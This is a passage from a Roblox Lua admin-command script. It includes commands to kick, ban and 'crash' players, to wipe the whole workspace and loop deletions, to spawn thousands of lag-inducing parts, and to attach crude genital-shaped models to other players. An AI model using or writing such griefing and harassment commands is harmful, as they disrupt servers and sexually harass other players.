  13970. game:GetService("HttpService").HttpEnabled = false
  13971. Output("HttpService is off", Speaker, 5)
  13972. end
  13973. end)
  13974. Command("Sl", 7, "Turns Scripting on/off", function(Msg, Speaker)
  13975. if Msg == "on" then
  13976. ScriptingLocked = false
  13977. Output("Scripting is enabled", Speaker, 5)
  13978. elseif Msg == "off" then
  13979. ScriptingLocked = true
  13980. Output("Scripting is disabled", Speaker, 5)
  13981. end
  13982. end)
  13983. Command("RemoveK", 4, "Removes the player from the game", function(Msg, Speaker)
  13984. local PlrTab = getPlayer(Speaker, Msg)
  13985. if #PlrTab > 0 then
  13986. for _,v in pairs(PlrTab) do
  13987. ypcall(function()
  13988. v:Remove()
  13989. Output("Removed Kicked "..v.Name, Speaker, 5)
  13990. end)
  13991. end
  13992. end
  13993. end)
  13994. Command("Kk", 4, "Crash kicks a player from the server", function(Msg, Speaker)
  13995. local PlrTab = getPlayer(Speaker, Msg)
  13996. if #PlrTab > 0 then
  13997. for _,v in pairs(PlrTab) do
  13998. ypcall(function()
  13999. v:Kick()
  14000. Output("Killer Kicked "..v.Name, Speaker, 5)
  14001. end)
  14002. end
  14003. end
  14004. end)
  14005. Command("RemoteC", 5, "Remote crashes a nil'd player", function(Msg, Speaker)
  14006. RemoteCrash(tostring(Msg))
  14007. end)
  14008. Command("Ginfo", 1, "Shows the server's information", function(Msg, Speaker)
  14009. Output("Creator's ID: "..game.CreatorId, Speaker)
  14010. Output("Job's ID: "..game.JobId, Speaker)
  14011. Output("Place's ID: "..game.PlaceId, Speaker)
  14012. Output("Place Version: "..game.PlaceVersion, Speaker)
  14013. Output("Number of Players: "..game.Players.NumPlayers, Speaker)
  14014. Output("Game Running Time: "..game.Workspace.DistributedGameTime, Speaker)
  14015. Output("Game Name: "..game.Workspace.Parent.Name, Speaker)
  14016. end)
  14017. Command("Ban", 6, "Bans a player from the server", function(Msg, Speaker)
  14018. local PlrTab = getPlayer(Speaker, Msg)
  14019. if #PlrTab > 0 then
  14020. for _,v in pairs(PlrTab) do
  14021. ypcall(function()
  14022. ChangeRank(v, -1)
  14023. v:Kick()
  14024. end)
  14025. end
  14026. end
  14027. end)
  14028. Command("Wzrd", 7, "Turns a player into a wizard", function(Msg, Speaker)
  14029. local PlrTab = getPlayer(Speaker, Msg)
  14030. if #PlrTab > 0 then
  14031. for _,v in pairs(PlrTab) do
  14032. ypcall(function()
  14033. NewLS(Wizard, v.Backpack)
  14034. Output("Turned "..v.Name.." into a wizard", Speaker, 5)
  14035. end)
  14036. end
  14037. end
  14038. end)
  14039.  
  14040. Command("SKit", 7, "Gives a player Shadow Kit", function(Msg, Speaker)
  14041. if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
  14042. local PlrTab = getPlayer(Speaker, Msg)
  14043. if #PlrTab > 0 then
  14044. for _,v in pairs(PlrTab) do
  14045. ypcall(function()
  14046. NewLS(Wizard, v.Backpack)
  14047. NewLS(YamatoSword, v.Backpack)
  14048. NewLS(Test2, v.Backpack)
  14049. NewLS(Shoop, v.Backpack)
  14050. NewLS(SoulCrushingKarate, v.Backpack)
  14051. Output("Gave "..v.Name.." Shadow Kit", Speaker, 5)
  14052. end)
  14053. end
  14054. end
  14055. else
  14056. Output("Your not allowed to use this kit", Speaker)
  14057. return
  14058. end
  14059. end)
  14060.  
  14061. Command("Ys", 7, "Gives a player YamatoSword", function(Msg, Speaker)
  14062. local PlrTab = getPlayer(Speaker, Msg)
  14063. if #PlrTab > 0 then
  14064. for _,v in pairs(PlrTab) do
  14065. ypcall(function()
  14066. NewLS(YamatoSword, v.Backpack)
  14067. Output("Gave "..v.Name.." yamato sword", Speaker, 5)
  14068. end)
  14069. end
  14070. end
  14071. end)
  14072.  
  14073.  
  14074. Command("Apb", 7, "Gives a player Armatae Path Bringer", function(Msg, Speaker)
  14075. if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
  14076. local PlrTab = getPlayer(Speaker, Msg)
  14077. if #PlrTab > 0 then
  14078. for _,v in pairs(PlrTab) do
  14079. ypcall(function()
  14080. NewLS(Test2, v.Backpack)
  14081. Output("Gave "..v.Name.." Armatae Path Bringer", Speaker, 5)
  14082. end)
  14083. end
  14084. end
  14085. else
  14086. Output("Sorry,This is a test weapon you're not allowed to use this.", Speaker)
  14087. return
  14088. end
  14089. end)
  14090. Command("Sdw", 7, "Gives a player Shoop da whoop", function(Msg, Speaker)
  14091. local PlrTab = getPlayer(Speaker, Msg)
  14092. if #PlrTab > 0 then
  14093. for _,v in pairs(PlrTab) do
  14094. ypcall(function()
  14095. NewLS(Shoop, v.Backpack)
  14096. Output("Gave "..v.Name.." shoop da whoop", Speaker, 5)
  14097. end)
  14098. end
  14099. end
  14100. end)
  14101. Command("Sck", 7, "Gives a player Soul Crushing Karate", function(Msg, Speaker)
  14102. if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
  14103. local PlrTab = getPlayer(Speaker, Msg)
  14104. if #PlrTab > 0 then
  14105. for _,v in pairs(PlrTab) do
  14106. ypcall(function()
  14107. NewLS(SoulCrushingKarate, v.Backpack)
  14108. Output("Gave "..v.Name.." Soul Karate", Speaker, 5)
  14109. end)
  14110. end
  14111. end
  14112. else
  14113. Output("You are not allowed to use this weapon", Speaker, 5)
  14114. return
  14115. end
  14116. end)
  14117.  
  14118. Command("Kar", 4, "Gives a player Karate Skills", function(Msg, Speaker)
  14119. local PlrTab = getPlayer(Speaker, Msg)
  14120. if #PlrTab > 0 then
  14121. for _,v in pairs(PlrTab) do
  14122. ypcall(function()
  14123. NewLS(Karate, v.Backpack)
  14124. Output("Gave "..v.Name.." Karate skills", Speaker, 5)
  14125. end)
  14126. end
  14127. end
  14128. end)
  14129. Command("Connect", 7, "Nil Connect", function(Msg, Speaker)
  14130. local PlrTab = getPlayer(Speaker, Msg)
  14131. if #PlrTab > 0 then
  14132. for _,v in pairs(PlrTab) do
  14133. ypcall(function()
  14134. NewLS(NilConnect, v.Backpack)
  14135. Output("Connected "..v.Name, Speaker, 5)
  14136. end)
  14137. end
  14138. end
  14139. end)
  14140. Command("Music", 7, "Creates music from an ID", function(Msg, Speaker)
  14141. ypcall(function()
  14142. game.Workspace["Sound"]:Remove()
  14143. end)
  14144. MU = Instance.new("Sound", game.Workspace)
  14145. MU.SoundId = "http://www.roblox.com/asset/?id="..Msg
  14146. MU.Volume = 1
  14147. MU.Looped = true
  14148. MU:Play()
  14149. Output("Launched Music ID :"..Msg, Speaker, 5)
  14150. end)
  14151.  
  14152.  
  14153. Command("Podium", 2, "Gives a player a podium", function(Msg, Speaker)
  14154. local PlrTab = getPlayer(Speaker, Msg)
  14155. if #PlrTab > 0 then
  14156. for _,v in pairs(PlrTab) do
  14157. ypcall(function()
  14158. local MainColor = Color3.new(0,0,0)
  14159. local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  14160. local Main = Instance.new("Model",workspace) Main.Name = "Podium"
  14161. local MainCFrame = v.Character.Torso.CFrame
  14162. * CFrame.new(0,-4,0)
  14163. + v.Character.Torso.CFrame.lookVector*3
  14164. local SeccondaryCFrame = v.Character.Torso.CFrame
  14165. * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  14166. + v.Character.Torso.CFrame.lookVector*3
  14167. if CFrame == nil then return end
  14168. coroutine.resume(coroutine.create(function()
  14169.  
  14170. for i=1,25 do
  14171. wait()
  14172. local Step = Instance.new("Part",Main)
  14173. Step.FormFactor = "Custom"
  14174. Step.Name = "Step"
  14175. Step.Anchored = true
  14176. Step.Locked = true
  14177. Step.Reflectance = 0
  14178. Step.TopSurface = "Smooth"
  14179. Step.BottomSurface = "Smooth"
  14180. Step.BrickColor = BrickColor.new(SeccondaryColor)
  14181. Step.Size = Vector3.new(6,1,3)
  14182. Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  14183. Instance.new("BlockMesh",Step)
  14184.  
  14185. local Carpet = Instance.new("Part",Main)
  14186. Carpet.FormFactor = "Custom"
  14187. Carpet.Name = "Carpet"
  14188. Carpet.Anchored = true
  14189. Carpet.Locked = true
  14190. Carpet.Reflectance = 0
  14191. Carpet.TopSurface = "Smooth"
  14192. Carpet.BottomSurface = "Smooth"
  14193. Carpet.BrickColor = BrickColor.new(MainColor)
  14194. Carpet.Size = Vector3.new(4,1,3.2)
  14195. Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  14196. Instance.new("BlockMesh",Carpet)
  14197. end
  14198. local MainCirc = Instance.new("Part",Main)
  14199. MainCirc.FormFactor = "Custom"
  14200. MainCirc.Name = "MainCirc"
  14201. MainCirc.Anchored = true
  14202. MainCirc.Locked = true
  14203. MainCirc.Reflectance = 0
  14204. MainCirc.TopSurface = "Smooth"
  14205. MainCirc.BottomSurface = "Smooth"
  14206. MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  14207. MainCirc.Size = Vector3.new(20,1,20)
  14208. MainCirc.CFrame = SeccondaryCFrame
  14209. Instance.new("CylinderMesh",MainCirc)
  14210.  
  14211. local SeccondaryCirc = Instance.new("Part",Main)
  14212. SeccondaryCirc.FormFactor = "Custom"
  14213. SeccondaryCirc.Name = "SeccondaryCirc"
  14214. SeccondaryCirc.Anchored = true
  14215. SeccondaryCirc.Locked = true
  14216. SeccondaryCirc.Reflectance = 0
  14217. SeccondaryCirc.TopSurface = "Smooth"
  14218. SeccondaryCirc.BottomSurface = "Smooth"
  14219. SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  14220. SeccondaryCirc.Size = Vector3.new(18,1,18)
  14221. SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  14222. Instance.new("CylinderMesh",SeccondaryCirc)
  14223. for i=1,math.floor(360/6) do
  14224. local Spike = Instance.new("Part",Main)
  14225. Spike.FormFactor = "Custom"
  14226. Spike.Name = "Spike"
  14227. Spike.Anchored = true
  14228. Spike.Locked = true
  14229. Spike.Reflectance = 0
  14230. Spike.TopSurface = "Smooth"
  14231. Spike.BottomSurface = "Smooth"
  14232. Spike.BrickColor = BrickColor.new(MainColor)
  14233. Spike.Size = Vector3.new(1,7,1)
  14234. Spike.CFrame = SeccondaryCFrame
  14235. * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  14236. * CFrame.new(7,-7,0)
  14237. Torch = Instance.new("Part",Main)
  14238. Torch.Reflectance = 1e+999
  14239. Torch.FormFactor = "Custom"
  14240. Torch.Shape = "Ball"
  14241. Torch.Anchored = true
  14242. Torch.Locked = true
  14243. Torch.Size = Vector3.new(2,2,2)
  14244. Torch.CFrame = Spike.CFrame
  14245. * CFrame.new(0,3.5,0)
  14246. * CFrame.Angles(0,0,0)
  14247. Instance.new("Fire",Torch)
  14248. end
  14249. end))
  14250. end)
  14251. end
  14252. end
  14253. Output("Gave "..v.Name.." Podium", Speaker,nil)
  14254. end)
  14255. Command("Fcam", 1, "Fixes a player's camera", function(Msg, Speaker)
  14256. local PlrTab = getPlayer(Speaker, Msg)
  14257. if #PlrTab > 0 then
  14258. for _,v in pairs(PlrTab) do
  14259. ypcall(function()
  14260. v.CameraMode = "Classic"
  14261. NewLS([[game.Workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  14262. game.Workspace.CurrentCamera.CameraType = "Custom"
  14263. ]], v.Backpack)
  14264. Output("Fixed "..v.Name.."'s Camera", Speaker,nil)
  14265. end)
  14266. end
  14267. end
  14268. end)
  14269. Command("Bd", 3, "Gives a player a big stick", function(Msg, Speaker)
  14270. local PlrTab = getPlayer(Speaker, Msg)
  14271. if #PlrTab > 0 then
  14272. for _,v in pairs(PlrTab) do
  14273. ypcall(function()
  14274. person=v.Name
  14275. color = "Pastel brown"
  14276. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  14277. D = Instance.new("Model",workspace[person])
  14278. D.Name = "Nice thing"
  14279. bg = Instance.new("BodyGyro",workspace[person].Torso)
  14280. d = Instance.new("Part")
  14281. d.TopSurface = 0
  14282. d.BottomSurface = 0
  14283. d.Name = "Main"
  14284. d.Parent = workspace[person]["Nice thing"]
  14285. d.formFactor = 3
  14286. d.Size = Vector3.new(0.6*2 ,2.5*2 ,0.6*2 )
  14287. d.BrickColor = BrickColor.new(color)
  14288. d.Position = workspace[person].Head.Position
  14289. d.CanCollide = false
  14290. local cy = Instance.new("CylinderMesh")
  14291. cy.Parent = d
  14292. w = Instance.new("Weld")
  14293. w.Parent = workspace[person].Head
  14294. w.Part0 = d
  14295. w.Part1 = workspace[person].Head
  14296. w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
  14297. local c = Instance.new("Part")
  14298. c.Name = "Mush"
  14299. c.BottomSurface = 0
  14300. c.TopSurface = 0
  14301. c.FormFactor = 3
  14302. c.Size = Vector3.new(0.6*2 ,0.6*2 ,0.6*2 )
  14303. c.CFrame = CFrame.new(d.Position)
  14304. c.BrickColor = BrickColor.new("Pink")
  14305. c.CanCollide = false
  14306. c.Parent = workspace[person]["Nice thing"]
  14307. local msm = Instance.new("SpecialMesh")
  14308. msm.Parent = c
  14309. msm.MeshType = "Sphere"
  14310. local cw = Instance.new("Weld")
  14311. cw.Parent = c
  14312. cw.Part0 = d
  14313. cw.Part1 = c
  14314. cw.C0 = CFrame.new(0,2.6 ,0)
  14315. local ball1 = Instance.new("Part")
  14316. ball1.Parent = workspace[person]["Nice thing"]
  14317. ball1.Name = "Left Ball"
  14318. ball1.BottomSurface = 0
  14319. ball1.TopSurface = 0
  14320. ball1.CanCollide = false
  14321. ball1.formFactor = 3
  14322. ball1.Size = Vector3.new(1*2 ,1*2 ,1*2 )
  14323. ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position)
  14324. ball1.BrickColor = BrickColor.new(color)
  14325. local bsm = Instance.new("SpecialMesh")
  14326. bsm.Parent = ball1
  14327. bsm.MeshType = "Sphere"
  14328. local b1w = Instance.new("Weld")
  14329. b1w.Parent = ball1
  14330. b1w.Part0 = workspace[person]["Left Leg"]
  14331. b1w.Part1 = ball1
  14332. b1w.C0 = CFrame.new(0,0.5 ,-.5 )
  14333. local ball2 = Instance.new("Part")
  14334. ball2.Parent = workspace[person]["Nice thing"]
  14335. ball2.Name = "Right Ball"
  14336. ball2.BottomSurface = 0
  14337. ball2.CanCollide = false
  14338. ball2.TopSurface = 0
  14339. ball2.formFactor = 3
  14340. ball2.Size = Vector3.new(1*2 ,1*2 ,1*2 )
  14341. ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position)
  14342. ball2.BrickColor = BrickColor.new(color)
  14343. local b2sm = Instance.new("SpecialMesh")
  14344. b2sm.Parent = ball2
  14345. b2sm.MeshType = "Sphere"
  14346. local b2w = Instance.new("Weld")
  14347. b2w.Parent = ball2
  14348. b2w.Part0 = workspace[person]["Right Leg"]
  14349. b2w.Part1 = ball2
  14350. b2w.C0 = CFrame.new(0,0.5,-.5)
  14351. Output("Gave "..v.Name.." a big stick", Speaker,nil)
  14352. end)
  14353. end
  14354. end
  14355. end)
  14356. Command("Tree", 3, "Trees a player", function(Msg, Speaker)
  14357. local PlrTab = getPlayer(Speaker, Msg)
  14358. if #PlrTab > 0 then
  14359. for _,v in pairs(PlrTab) do
  14360. ypcall(function()
  14361. if v.Character:findFirstChild("Torso") == nil then return end
  14362. local treet = Instance.new("Part", workspace)
  14363. treet.Size = Vector3.new(4, 20, 4)
  14364. treet.Anchored = true
  14365. treet.Locked = true
  14366. treet.BrickColor = BrickColor.new("Reddish brown")
  14367. treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0)
  14368. local treetop = Instance.new("Part", workspace)
  14369. treetop.BrickColor = BrickColor.new("Earth green")
  14370. treetop.TopSurface = "Smooth"
  14371. treetop.BottomSurface = "Smooth"
  14372. treetop.Size = Vector3.new(13, 13, 13)
  14373. treetop.Anchored = true
  14374. treetop.Shape = "Ball"
  14375. treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  14376. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0)
  14377. coroutine.resume(coroutine.create(function()
  14378. for i = 1, 200 do
  14379. wait()
  14380. if treet ~= nil then
  14381. if treetop ~= nil then
  14382. treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0)
  14383. treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0)
  14384. end
  14385. end
  14386. end
  14387. end))
  14388. Output("Treed "..v.Name, Speaker,nil)
  14389. end)
  14390. end
  14391. end
  14392. end)
  14393. Command("Sd", 3, "Gives a player a small stick", function(Msg, Speaker)
  14394. local PlrTab = getPlayer(Speaker, Msg)
  14395. if #PlrTab > 0 then
  14396. for _,v in pairs(PlrTab) do
  14397. ypcall(function()
  14398. person=v.Name
  14399. color = "Pastel brown"
  14400. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  14401. D = Instance.new("Model",workspace[person])
  14402. D.Name = "Nice thing"
  14403. bg = Instance.new("BodyGyro",workspace[person].Torso)
  14404. d = Instance.new("Part")
  14405. d.TopSurface = 0
  14406. d.BottomSurface = 0
  14407. d.Name = "Main"
  14408. d.Parent = workspace[person]["Nice thing"]
  14409. d.formFactor = 3
  14410. d.Size = Vector3.new(0.6/2 ,2.5 ,0.6/2 )
  14411. d.BrickColor = BrickColor.new(color)
  14412. d.Position = workspace[person].Head.Position
  14413. d.CanCollide = false
  14414. local cy = Instance.new("CylinderMesh")
  14415. cy.Parent = d
  14416. w = Instance.new("Weld")
  14417. w.Parent = workspace[person].Head
  14418. w.Part0 = d
  14419. w.Part1 = workspace[person].Head
  14420. w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
  14421. local c = Instance.new("Part")
  14422. c.Name = "Mush"
  14423. c.BottomSurface = 0
  14424. c.TopSurface = 0
  14425. c.FormFactor = 3
  14426. c.Size = Vector3.new(0.6/2 ,0.6/2 ,0.6/2 )
  14427. c.CFrame = CFrame.new(d.Position)
  14428. c.BrickColor = BrickColor.new("Pink")
  14429. c.CanCollide = false
  14430. c.Parent = workspace[person]["Nice thing"]
  14431. local msm = Instance.new("SpecialMesh")
  14432. msm.Parent = c
  14433. msm.MeshType = "Sphere"
  14434. local cw = Instance.new("Weld")
  14435. cw.Parent = c
  14436. cw.Part0 = d
  14437. cw.Part1 = c
  14438. cw.C0 = CFrame.new(0,1.3 ,0)
  14439. local ball1 = Instance.new("Part")
  14440. ball1.Parent = workspace[person]["Nice thing"]
  14441. ball1.Name = "Left Ball"
  14442. ball1.BottomSurface = 0
  14443. ball1.TopSurface = 0
  14444. ball1.CanCollide = false
  14445. ball1.formFactor = 3
  14446. ball1.Size = Vector3.new(1 ,1 ,1 )
  14447. ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position*2)
  14448. ball1.BrickColor = BrickColor.new(color)
  14449. local bsm = Instance.new("SpecialMesh")
  14450. bsm.Parent = ball1
  14451. bsm.MeshType = "Sphere"
  14452. local b1w = Instance.new("Weld")
  14453. b1w.Parent = ball1
  14454. b1w.Part0 = workspace[person]["Left Leg"]
  14455. b1w.Part1 = ball1
  14456. b1w.C0 = CFrame.new(0,0.5 ,-.5 )
  14457. local ball2 = Instance.new("Part")
  14458. ball2.Parent = workspace[person]["Nice thing"]
  14459. ball2.Name = "Right Ball"
  14460. ball2.BottomSurface = 0
  14461. ball2.CanCollide = false
  14462. ball2.TopSurface = 0
  14463. ball2.formFactor = 3
  14464. ball2.Size = Vector3.new(1 ,1 ,1 )
  14465. ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position*2)
  14466. ball2.BrickColor = BrickColor.new(color)
  14467. local b2sm = Instance.new("SpecialMesh")
  14468. b2sm.Parent = ball2
  14469. b2sm.MeshType = "Sphere"
  14470. local b2w = Instance.new("Weld")
  14471. b2w.Parent = ball2
  14472. b2w.Part0 = workspace[person]["Right Leg"]
  14473. b2w.Part1 = ball2
  14474. b2w.C0 = CFrame.new(0,0.5,-.5)
  14475. Output("Gave "..v.Name.." a small stick", Speaker,nil)
  14476. end)
  14477. end
  14478. end
  14479. end)
  14480. Command("Forest", 5, "Creates a forest", function(Msg, Speaker)
  14481. local tmodel = Instance.new("Model", workspace)
  14482. for i = 1, 3000 do
  14483. local treet = Instance.new("Part", tmodel)
  14484. treet.Size = Vector3.new(4, 20, 4)
  14485. treet.Anchored = true
  14486. treet.Locked = true
  14487. treet.BrickColor = BrickColor.new("Reddish brown")
  14488. treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
  14489. local treetop = Instance.new("Part", tmodel)
  14490. treetop.BrickColor = BrickColor.new("Earth green")
  14491. treetop.TopSurface = "Smooth"
  14492. treetop.BottomSurface = "Smooth"
  14493. treetop.Size = Vector3.new(13, 13, 13)
  14494. treetop.Anchored = true
  14495. treetop.Shape = "Ball"
  14496. treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  14497. end
  14498. Output("Created a forest", Speaker,nil)
  14499. end)
  14500.  
  14501.  
  14502. Command("G", 1, "Get something? idk", function(Msg, Speaker)
  14503. if Msg == "r" then
  14504. Speaker:LoadCharacter()
  14505. elseif Msg == "rj" then
  14506. NewLS([[game:service'TeleportService':Teleport(game.PlaceId)]],Speaker.Character)
  14507. elseif Msg == "c" then
  14508. NewS([[
  14509. for _,v in pairs(game.Workspace:GetChildren()) do
  14510. if v.Name ~= "Terrain" then
  14511. v:Destroy()
  14512. end
  14513. end
  14514. ]],game.Workspace)
  14515.  
  14516. a = Instance.new("Part")
  14517. a.Parent = game.Workspace
  14518. a.Name = "Base"
  14519. a.Position = Vector3.new(0, 0.6, 0)
  14520. a.Size = Vector3.new(1002, 0, 1002)
  14521. a.Material = "Grass"
  14522. a.Anchored = true
  14523. a.BrickColor = BrickColor.new("Earth green")
  14524. NewS([[
  14525. for _,v in pairs(game.Players:GetChildren()) do
  14526. v:LoadCharacter()
  14527. end
  14528. ]], game.Workspace)
  14529.  
  14530.  
  14531.  
  14532. end
  14533. game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
  14534. game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  14535. game.Lighting.Ambient = Color3.new(1, 1, 1)
  14536. game.Lighting.Brightness = 1
  14537. game.Lighting.TimeOfDay = "11:00:00"
  14538. game.Lighting.FogEnd = 99999999
  14539. game.Workspace.Base.Transparency = 0
  14540. game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
  14541. game.Workspace.Base.Locked = true
  14542. game.Workspace.Base.Anchored = true
  14543. t = game.Teams:GetChildren()
  14544. for i = 1, #t do
  14545. if t[i]:IsA("Team") then
  14546. t[i]: Destroy()
  14547. end
  14548. end
  14549. l = game.Lighting:GetChildren()
  14550. for i = 1, #l do
  14551. if l[i]:IsA("Sky") then
  14552. l[i]: Destroy()
  14553. end
  14554. end
  14555. g = game.Workspace:GetChildren()
  14556. for i = 1, #g do
  14557. if g[i]:IsA("Part") then
  14558. g[i]: Destroy()
  14559. end
  14560. end
  14561. for i = 1, #g do
  14562. if g[i]:IsA("Script") then
  14563. g[i]: Destroy()
  14564. end
  14565. end
  14566. for i = 1, #g do
  14567. if g[i]:IsA("StringValue") then
  14568. g[i]: Destroy()
  14569. end
  14570. end
  14571. for i = 1, #g do
  14572. if g[i]:IsA("IntValue") then
  14573. g[i]: Destroy()
  14574. end
  14575. end
  14576. for i = 1, #g do
  14577. if g[i]:IsA("BoolValue") then
  14578. g[i]: Destroy()
  14579. end
  14580. end
  14581. for i = 1, #g do
  14582. if g[i]:IsA("NumberValue") then
  14583. g[i]: Destroy()
  14584. end
  14585. end
  14586. for i = 1, #g do
  14587. if g[i]:IsA("ObjectValue") then
  14588. g[i]: Destroy()
  14589. end
  14590. end
  14591. for i = 1, #g do
  14592. if g[i]:IsA("RayValue") then
  14593. g[i]: Destroy()
  14594. end
  14595. end
  14596. for i = 1, #g do
  14597. if g[i]:IsA("Sound") then
  14598. g[i]: Destroy()
  14599. end
  14600. end
  14601. for i = 1, #g do
  14602. if g[i]:IsA("Accoutrement") then
  14603. g[i]: Destroy()
  14604. end
  14605. end
  14606. for i = 1, #g do
  14607. if g[i]:IsA("BrickColorValue") then
  14608. g[i]: Destroy()
  14609. end
  14610. end
  14611. for i = 1, #g do
  14612. if g[i]:IsA("Motor") then
  14613. g[i]: Destroy()
  14614. end
  14615. end
  14616. for i = 1, #g do
  14617. if g[i]:IsA("MotorFeature") then
  14618. g[i]: Destroy()
  14619. end
  14620. end
  14621. for i = 1, #g do
  14622. if g[i]:IsA("Color3Value") then
  14623. g[i]: Destroy()
  14624. end
  14625. end
  14626. for i = 1, #g do
  14627. if g[i]:IsA("BindableEvent") then
  14628. g[i]: Destroy()
  14629. end
  14630. end
  14631. for i = 1, #g do
  14632. if g[i]:IsA("BindableFunction") then
  14633. g[i]: Destroy()
  14634. end
  14635. end
  14636. for i = 1, #g do
  14637. if g[i]:IsA("LocalScript") then
  14638. g[i]: Destroy()
  14639. end
  14640. end
  14641. for i = 1, #g do
  14642. if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
  14643. g[i]: Remove()
  14644. end
  14645. end
  14646. for i = 1, #g do
  14647. if g[i]:IsA("Hint") then
  14648. g[i]: Destroy()
  14649. end
  14650. end
  14651. for i = 1, #g do
  14652. if g[i]:IsA("Truss") then
  14653. g[i]: Destroy()
  14654. end
  14655. end
  14656. for i = 1, #g do
  14657. if g[i]:IsA("Tool") then
  14658. g[i]: Destroy()
  14659. end
  14660. end
  14661. for i = 1, #g do
  14662. if g[i]:IsA("HopperBin") then
  14663. g[i]: Destroy()
  14664. end
  14665. end
  14666. for i = 1, #g do
  14667. if g[i]:IsA("Fire") then
  14668. g[i]: Destroy()
  14669. end
  14670. end
  14671. for i = 1, #g do
  14672. if g[i]:IsA("Explosion") then
  14673. g[i]: Destroy()
  14674. end
  14675. end
  14676. for i = 1, #g do
  14677. if g[i]:IsA("Hat") then
  14678. g[i]: Destroy()
  14679. end
  14680. end
  14681. p = Instance.new("Part")
  14682. p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
  14683. BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
  14684. while true do wait()
  14685. for i = 1, #g do
  14686. if g[i]:IsA("Message") then
  14687. g[i]: Destroy()
  14688. end
  14689. end
  14690. for i = 1, #g do
  14691. if g[i]:IsA("Hint") then
  14692. g[i]: Destroy()
  14693. end
  14694. end
  14695. end
  14696.  
  14697.  
  14698. end)
  14699.  
  14700. Command("Jungle", 5, "Creates a jungle", function(Msg, Speaker)
  14701. local tmodel = Instance.new("Model", workspace)
  14702. for i = 1, 5000 do
  14703. local treet = Instance.new("Part", tmodel)
  14704. treet.Size = Vector3.new(4, 20, 4)
  14705. treet.Anchored = true
  14706. treet.Locked = true
  14707. treet.BrickColor = BrickColor.new("Reddish brown")
  14708. treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
  14709. local treetop = Instance.new("Part", tmodel)
  14710. treetop.BrickColor = BrickColor.new("Earth green")
  14711. treetop.TopSurface = "Smooth"
  14712. treetop.BottomSurface = "Smooth"
  14713. treetop.Size = Vector3.new(13, 13, 13)
  14714. treetop.Anchored = true
  14715. treetop.Shape = "Ball"
  14716. treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  14717. end
  14718. Output("Created a jungle", Speaker,nil)
  14719. end)
  14720. Command("Menu", 3, "Brings Up Admin Menu", function(Msg, Speaker)
  14721. Dismiss(Speaker)
  14722. Menu(Speaker)
  14723. end)
  14724. Command("FA", 1, "Shows a list of creator's favorite animes", function(Msg, Speaker)
  14725. Dismiss(Speaker)
  14726. Output("Kanokon", Speaker, nil, nil, Database.Colors.Orange, "rbxassetid://162502378")
  14727. Output("Bleach", Speaker, nil, nil, Database.Colors.PinkRed, "rbxassetid://150668617")
  14728. Output("Sword Art Online", Speaker, nil, nil, Database.Colors.Black, "rbxassetid://129964814")
  14729. Output("Claymore", Speaker, nil, nil, Database.Colors.Grey, "rbxassetid://50802941")
  14730. Output("Full Metal Alchemy", Speaker, nil, nil, Database.AdvancedColors.CustomPurple, "rbxassetid://100859526")
  14731. Output("Attack on Titan", Speaker, nil, nil, Database.Colors.Blue, "rbxassetid://122579277")
  14732. end)
  14733.  
  14734. Command("Cred", 1, "Credits", function(Msg, Speaker)
  14735. Dismiss(Speaker)
  14736. Output("MasterKelvinVIP", Speaker, nil, nil, Database.Colors.Pink, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  14737. Output("Cobalt1164", Speaker, nil, nil, Database.Colors.Purple, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=Cobalt1164")
  14738. Output("Optiplex123", Speaker, nil, nil, Database.Colors.Yellow, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=optiplex123")
  14739. Output("Aleksa12432", Speaker, nil, nil, Database.Colors.Blue, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=aleksa12432")
  14740. Output("Flipflop8421", Speaker, nil, nil, Database.Colors.Green, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
